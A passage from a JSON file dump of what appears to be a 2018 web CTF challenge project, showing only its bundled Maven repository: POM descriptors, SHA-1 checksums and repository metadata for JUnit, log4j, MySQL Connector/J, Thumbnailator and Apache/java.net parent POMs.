    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" \n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd \">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>junit</groupId>\n  <artifactId>junit</artifactId>\n  <version>3.8.1</version>\n  <name>JUnit</name>\n  <url>http://junit.org</url>\n  <description>\n    JUnit is a regression testing framework written by Erich Gamma and Kent Beck. It is used by the developer who implements unit tests in Java.\n  </description>\n  <organization>\n    <name>JUnit</name>\n    <url>http://www.junit.org</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>Common Public License Version 1.0</name>\n      <url>http://www.opensource.org/licenses/cpl1.0.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <url>http://junit.cvs.sourceforge.net/junit/</url>\n  </scm>\n  <dependencies>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.1/junit-3.8.1.pom.sha1",
    "content": "16d74791c801c89b0071b1680ea0bc85c93417bb  junit-3.8.1.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\njunit-3.8.2.pom>central=\njunit-3.8.2.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.2/junit-3.8.2.jar.sha1",
    "content": "07e4cde26b53a9a0e3fe5b00d1dbbc7cc1d46060  -\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.2/junit-3.8.2.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>junit</groupId>\n  <artifactId>junit</artifactId>\n  <version>3.8.2</version>\n  <name>JUnit</name>\n  <url>http://junit.org</url>\n  <description>\n    JUnit is a regression testing framework written by Erich Gamma and Kent Beck. It is used by the developer who implements unit tests in Java.\n  </description>\n  <organization>\n    <name>JUnit</name>\n    <url>http://www.junit.org</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>Common Public License Version 1.0</name>\n      <url>http://www.opensource.org/licenses/cpl1.0.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <url>http://junit.cvs.sourceforge.net/junit/</url>\n  </scm>\n  <dependencies>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.2/junit-3.8.2.pom.sha1",
    "content": "c735a15ca8fc2ea77db963c71ade153ffeb8212e  junit-3.8.2.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\njunit-4.10.jar>central=\njunit-4.10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.10/junit-4.10.jar.sha1",
    "content": "e4f1766ce7404a08f45d859fb9c226fc9e41a861"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.10/junit-4.10.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd \">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>junit</groupId>\n    <artifactId>junit</artifactId>\n    <version>4.10</version>\n    <name>JUnit</name>\n    <url>http://junit.org</url>\n    <description>\n        JUnit is a regression testing framework written by Erich Gamma and Kent Beck.\n        It is used by the developer who implements unit tests in Java.\n    </description>\n    <organization>\n        <name>JUnit</name>\n        <url>http://www.junit.org</url>\n    </organization>\n    <mailingLists>\n        <mailingList>\n            <name>JUnit Mailing List</name>\n            <post>junit@yahoogroups.com</post>\n            <archive>\n                http://tech.groups.yahoo.com/group/junit/\n            </archive>\n        </mailingList>\n    </mailingLists>\n    <licenses>\n        <license>\n            <name>Common Public License Version 1.0</name>\n            <url>http://www.opensource.org/licenses/cpl1.0.txt</url>\n        </license>\n    </licenses>\n    <scm>\n        <connection>scm:git:git://github.com/KentBeck/junit.git</connection>\n        <developerConnection>scm:git:git@github.com:KentBeck/junit.git</developerConnection>\n        <url>http://github.com/KentBeck/junit/tree/master</url>\n    </scm>\n    <developers>\n      <developer>\n        <id>dsaff</id>\n        <name>David Saff</name>\n        <email>david@saff.net</email>\n      </developer>\n    </developers>\n    <build>\n        <plugins>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <encoding>ISO-8859-1</encoding>\n                    <source>${jdk.version}</source>\n                    <target>${jdk.version}</target>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n    <dependencies>\n        <dependency>\n          <groupId>org.hamcrest</groupId>\n          <artifactId>hamcrest-core</artifactId>\n          <version>1.1</version>\n          <scope>compile</scope>\n        </dependency>\n    </dependencies>\n\n    <properties>\n         <jdk.version>1.5</jdk.version>\n    </properties>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.10/junit-4.10.pom.sha1",
    "content": "35bef83e80c3431f95d267e19252bddfe965041c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\njunit-4.9.jar>central=\njunit-4.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.9/junit-4.9.jar.sha1",
    "content": "1013627e3993319870863a020034004717505815"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.9/junit-4.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd \">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>junit</groupId>\n    <artifactId>junit</artifactId>\n    <version>4.9</version>\n    <name>JUnit</name>\n    <url>http://junit.org</url>\n    <description>\n        JUnit is a regression testing framework written by Erich Gamma and Kent Beck.\n        It is used by the developer who implements unit tests in Java.\n    </description>\n    <organization>\n        <name>JUnit</name>\n        <url>http://www.junit.org</url>\n    </organization>\n    <mailingLists>\n        <mailingList>\n            <name>JUnit Mailing List</name>\n            <post>junit@yahoogroups.com</post>\n            <archive>\n                http://tech.groups.yahoo.com/group/junit/\n            </archive>\n        </mailingList>\n    </mailingLists>\n    <licenses>\n        <license>\n            <name>Common Public License Version 1.0</name>\n            <url>http://www.opensource.org/licenses/cpl1.0.txt</url>\n        </license>\n    </licenses>\n    <scm>\n        <connection>scm:git:git://github.com/KentBeck/junit.git</connection>\n        <developerConnection>scm:git:git@github.com:KentBeck/junit.git</developerConnection>\n        <url>http://github.com/KentBeck/junit/tree/master</url>\n    </scm>\n    <developers>\n      <developer>\n        <id>dsaff</id>\n        <name>David Saff</name>\n        <email>david@saff.net</email>\n      </developer>\n    </developers>\n    <build>\n        <plugins>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <encoding>ISO-8859-1</encoding>\n                    <source>${jdk.version}</source>\n                    <target>${jdk.version}</target>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n    <dependencies>\n        <dependency>\n          <groupId>org.hamcrest</groupId>\n          <artifactId>hamcrest-core</artifactId>\n          <version>1.1</version>\n          <scope>compile</scope>\n        </dependency>\n    </dependencies>\n\n    <properties>\n         <jdk.version>1.5</jdk.version>\n    </properties>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.9/junit-4.9.pom.sha1",
    "content": "97c2a0289c008cb64527f2e2f4d860326fd02d2e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/log4j/log4j/1.2.12/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nlog4j-1.2.12.jar>central=\nlog4j-1.2.12.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/log4j/log4j/1.2.12/log4j-1.2.12.jar.sha1",
    "content": "057b8740427ee6d7b0b60792751356cad17dc0d9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/log4j/log4j/1.2.12/log4j-1.2.12.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>log4j</groupId>\n  <artifactId>log4j</artifactId>\n  <version>1.2.12</version>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/log4j/log4j/1.2.12/log4j-1.2.12.pom.sha1",
    "content": "70545179454d298d1ff01335fbec3c2acfd381d5  /home/projects/maven/repository-staging/to-ibiblio/maven2/log4j/log4j/1.2.12/log4j-1.2.12.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/logkit/logkit/1.0.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:20 CST 2018\nlogkit-1.0.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/logkit/logkit/1.0.1/logkit-1.0.1.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>logkit</groupId>\n  <artifactId>logkit</artifactId>\n  <version>1.0.1</version>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/logkit/logkit/1.0.1/logkit-1.0.1.pom.sha1",
    "content": "ff3b4e6ced322bc8a21fa3aadfcf7f131a1ee08c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/mysql/mysql-connector-java/5.1.29/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nmysql-connector-java-5.1.29.jar>central=\nmysql-connector-java-5.1.29.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/mysql/mysql-connector-java/5.1.29/mysql-connector-java-5.1.29.jar.sha1",
    "content": "91798a4463050f61598122fe7fdc24aa196dfc0c  mysql-connector-java-5.1.29.jar\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/mysql/mysql-connector-java/5.1.29/mysql-connector-java-5.1.29.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>mysql</groupId>\n  <artifactId>mysql-connector-java</artifactId>\n  <version>5.1.29</version>\n  <packaging>jar</packaging>\n\n  <name>MySQL Connector/J</name>\n  <description>MySQL JDBC Type 4 driver</description>\n\n  <licenses>\n    <license>\n      <name>The GNU General Public License, Version 2</name>\n      <url>http://www.gnu.org/licenses/old-licenses/gpl-2.0.html</url>\n      <distribution>repo</distribution>\n      <comments>MySQL Connector/J contains exceptions to GPL requirements when linking with other components\nthat are licensed under OSI-approved open source licenses, see EXCEPTIONS-CONNECTOR-J\nin this distribution for more details.</comments>\n    </license>\n  </licenses>\n\n  <url>http://dev.mysql.com/doc/connector-j/en/</url>\n\n  <scm>\n    <connection>scm:git:git@github.com:mysql/mysql-connector-j.git</connection>\n    <url>https://github.com/mysql/mysql-connector-j</url>\n  </scm>\n\n  <organization>\n    <name>Oracle Corporation</name>\n    <url>http://www.oracle.com</url>\n  </organization>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/mysql/mysql-connector-java/5.1.29/mysql-connector-java-5.1.29.pom.sha1",
    "content": "b175c92ff7a5d0ad5954691b070b114a0d449b76  mysql-connector-java-5.1.29.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/net/coobird/thumbnailator/0.4.8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nthumbnailator-0.4.8.jar>central=\nthumbnailator-0.4.8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/net/coobird/thumbnailator/0.4.8/thumbnailator-0.4.8.jar.sha1",
    "content": "4f10c440dd7776630aee9da4611a45032db1e041"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/net/coobird/thumbnailator/0.4.8/thumbnailator-0.4.8.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>net.coobird</groupId>\n  <artifactId>thumbnailator</artifactId>\n  <version>0.4.8</version>\n  <packaging>jar</packaging>\n  <name>thumbnailator</name>\n  <description>Thumbnailator - a thumbnail generation library for Java</description>\n  <url>http://code.google.com/p/thumbnailator</url>\n  <licenses>\n    <license>\n      <name>The MIT License (MIT)</name>\n      <url>http://www.opensource.org/licenses/mit-license.html</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <scm>\n    <url>http://code.google.com/p/thumbnailator</url>\n    <connection>scm:hg:https://code.google.com/p/thumbnailator</connection>\n  </scm>\n  <developers>\n    <developer>\n      <name>Chris Kroells</name>\n      <email>coobirdnet@gmail.com</email>\n      <url>http://coobird.net</url>\n    </developer>\n  </developers>\n  <distributionManagement>\n    <snapshotRepository>\n      <id>ossrh</id>\n      <url>https://oss.sonatype.org/content/repositories/snapshots</url>\n    </snapshotRepository>\n    <repository>\n      <id>ossrh</id>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n  </distributionManagement>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <version>2.3.2</version>\n        <configuration>\n          <source>1.5</source>\n          <target>1.5</target>\n          <debug>true</debug>\n          <debuglevel>lines</debuglevel>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.10.1</version>\n        <configuration>\n          <doctitle>Thumbnailator API Documentation (Version ${project.version})</doctitle>\n          <windowtitle>Thumbnailator API Documentation (Version ${project.version})</windowtitle>\n          <locale>en_US</locale>\n          <show>public</show>\n          <use>false</use>\n          <destDir>javadoc</destDir>\n          <archive>\n            <manifestEntries>\n              <Specification-Title>Thumbnailator API Documentation</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>coobird.net</Specification-Vendor>\n              <Implementation-Title>Thumbnailator API Documentation</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>coobird.net</Implementation-Vendor>\n            </manifestEntries>\n          </archive>\n          <excludeResources>false</excludeResources>\n        </configuration>\n        <executions>\n          <execution>\n            <id>attach-javadocs</id>\n            <goals>\n              <goal>jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <version>2.3.1</version>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Specification-Title>Thumbnailator</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>coobird.net</Specification-Vendor>\n              <Implementation-Title>Thumbnailator</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>coobird.net</Implementation-Vendor>\n            </manifestEntries>\n          </archive>\n          <excludeResources>false</excludeResources>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-source-plugin</artifactId>\n        <version>2.4</version>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Specification-Title>Thumbnailator sources</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>coobird.net</Specification-Vendor>\n              <Implementation-Title>Thumbnailator sources</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>coobird.net</Implementation-Vendor>\n            </manifestEntries>\n          </archive>\n          <excludeResources>false</excludeResources>\n        </configuration>\n        <executions>\n          <execution>\n            <id>attach-sources</id>\n            <goals>\n              <goal>jar-no-fork</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-gpg-plugin</artifactId>\n        <version>1.5</version>\n        <executions>\n          <execution>\n            <id>sign-artifacts</id>\n            <phase>verify</phase>\n            <goals>\n              <goal>sign</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.sonatype.plugins</groupId>\n        <artifactId>nexus-staging-maven-plugin</artifactId>\n        <version>1.6.3</version>\n        <extensions>true</extensions>\n        <configuration>\n          <serverId>ossrh</serverId>\n          <nexusUrl>https://oss.sonatype.org/</nexusUrl>\n          <autoReleaseAfterClose>false</autoReleaseAfterClose>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.mockito</groupId>\n      <artifactId>mockito-core</artifactId>\n      <version>1.8.5</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.10</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/net/coobird/thumbnailator/0.4.8/thumbnailator-0.4.8.pom.sha1",
    "content": "dcf1a358c46b68304c733c589fc1e937a4ed4aad"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/net/java/jvnet-parent/1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:33 CST 2018\njvnet-parent-1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/net/java/jvnet-parent/1/jvnet-parent-1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright (c) 2007-2011 Sonatype, Inc. All rights reserved.\n  ~\n  ~ This program is licensed to you under the Apache License Version 2.0,\n  ~ and you may not use this file except in compliance with the Apache License Version 2.0.\n  ~ You may obtain a copy of the Apache License Version 2.0 at http://www.apache.org/licenses/LICENSE-2.0.\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the Apache License Version 2.0 is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the Apache License Version 2.0 for the specific language governing permissions and limitations there under.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>net.java</groupId>\n\t<artifactId>jvnet-parent</artifactId>\n\t<version>1</version>\n\t<packaging>pom</packaging>\n\n\t<name>Java.net Parent</name>\n\t<url>http://java.net/</url>\n\t<description>Java.net - The Source for Java Technology Collaboration</description>\n\n\t<scm>\n\t\t<connection>scm:git:git@github.com:sonatype/jvnet-parent.git</connection>\n\t\t<developerConnection>scm:git:git@github.com:sonatype/jvnet-parent.git</developerConnection>\n\t\t<url>https://github.com/sonatype/jvnet-parent</url>\n\t</scm>\n\n\t<repositories>\n\t\t<repository>\n\t\t\t<id>jvnet-nexus-snapshots</id>\n\t\t\t<name>Java.net Nexus Snapshots Repository</name>\n\t\t\t<url>https://maven.java.net/content/repositories/snapshots</url>\n\t\t\t<releases>\n\t\t\t\t<enabled>false</enabled>\n\t\t\t</releases>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>true</enabled>\n\t\t\t</snapshots>\n\t\t</repository>\n\t</repositories>\n\n\n\t<distributionManagement>\n\t\t<snapshotRepository>\n\t\t\t<id>jvnet-nexus-snapshots</id>\n\t\t\t<name>Java.net Nexus Snapshots Repository</name>\n\t\t\t<url>${jvnetDistMgmtSnapshotsUrl}</url>\n\t\t</snapshotRepository>\n\t\t<repository>\n\t\t\t<id>jvnet-nexus-staging</id>\n\t\t\t<name>Java.net Nexus Staging Repository</name>\n\t\t\t<url>https://maven.java.net/service/local/staging/deploy/maven2/</url>\n\t\t</repository>\n\t</distributionManagement>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-enforcer-plugin</artifactId>\n\t\t\t\t<version>1.0</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>enforce-maven</id>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>enforce</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<rules>\n\t\t\t\t\t\t\t\t<requireMavenVersion>\n\t\t\t\t\t\t\t\t\t<version>(,2.1.0),(2.1.0,2.2.0),(2.2.0,)</version>\n\t\t\t\t\t\t\t\t\t<message>Maven 2.1.0 and 2.2.0 produce incorrect GPG signatures\n\t\t\t\t\t\t\t\t\t\tand checksums respectively.</message>\n\t\t\t\t\t\t\t\t</requireMavenVersion>\n\t\t\t\t\t\t\t</rules>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t</plugins>\n\t\t<pluginManagement>\n\t\t\t<plugins>\n\t\t\t\t<plugin>\n\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t<artifactId>maven-release-plugin</artifactId>\n\t\t\t\t\t<version>2.1</version>\n\t\t\t\t\t<configuration>\n\t\t\t\t\t\t<mavenExecutorId>forked-path</mavenExecutorId>\n\t\t\t\t\t\t<useReleaseProfile>false</useReleaseProfile>\n\t\t\t\t\t\t<arguments>-Pjvnet-release</arguments>\n\t\t\t\t\t</configuration>\n\t\t\t\t</plugin>\n\t\t\t</plugins>\n\t\t</pluginManagement>\n\t</build>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<jvnetDistMgmtSnapshotsUrl>https://maven.java.net/content/repositories/snapshots/</jvnetDistMgmtSnapshotsUrl>\n\t</properties>\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>jvnet-release</id>\n\t\t\t<build>\n\t\t\t\t<plugins>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t\t\t<version>2.1.2</version>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<id>attach-sources</id>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>jar-no-fork</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t\t\t<version>2.7</version>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<id>attach-javadocs</id>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t\t\t\t<version>1.1</version>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<id>sign-artifacts</id>\n\t\t\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>sign</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t</plugins>\n\t\t\t</build>\n\t\t</profile>\n\t</profiles>\n\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/net/java/jvnet-parent/1/jvnet-parent-1.pom.sha1",
    "content": "b55a1b046dbe82acdee8edde7476eebcba1e57d8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:21 CST 2018\napache-10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/10/apache-10.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/asf/ -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>10</version>\n  <packaging>pom</packaging>\n\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <url>http://www.apache.org/</url>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-10</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-10</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-10</url>\n  </scm>\n\n  <distributionManagement>\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <sourceReleaseAssemblyDescriptor>source-release</sourceReleaseAssemblyDescriptor>\n    <gpg.useagent>true</gpg.useagent>\n  </properties>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.6</version>\n        </plugin>\n        <plugin>\n          